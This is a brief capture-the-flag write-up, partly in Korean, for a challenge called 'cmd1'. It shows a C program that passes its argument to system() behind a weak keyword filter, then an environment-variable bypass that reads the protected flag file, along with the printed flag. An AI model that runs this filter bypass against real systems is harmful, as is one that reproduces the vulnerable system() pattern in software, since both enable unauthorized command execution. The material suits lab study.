[1pt]cmd1

#include <stdio.h> 
#include <string.h> 

int filter(char* cmd){

        int r=0;

        r += strstr(cmd, "flag")!=0;

        r += strstr(cmd, "sh")!=0;

        r += strstr(cmd, "tmp")!=0;

        return r;

}

int main(int argc, char* argv[], char** envp){

        putenv("PATH=/fuckyouverymuch");

        if(filter(argv[1])) return 0;

        system( argv[1] );

        return 0;

}

Introduction:

본 문제는 환경변수를 이용해 flag를 출력하는 문제

Command line:

cmd1@ubuntu:/tmp/Aitch_cmd1$ export F="/bin/cat /home/cmd1/flag"

cmd1@ubuntu:/tmp/Aitch_cmd1$ /home/cmd1/cmd1 \${F}

mommy ~!@#%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+

cmd1@ubuntu:/tmp/Aitch_cmd1$ 

Reference:

1) 환경변수 - linux: http://kiros33.blog.me/220270849224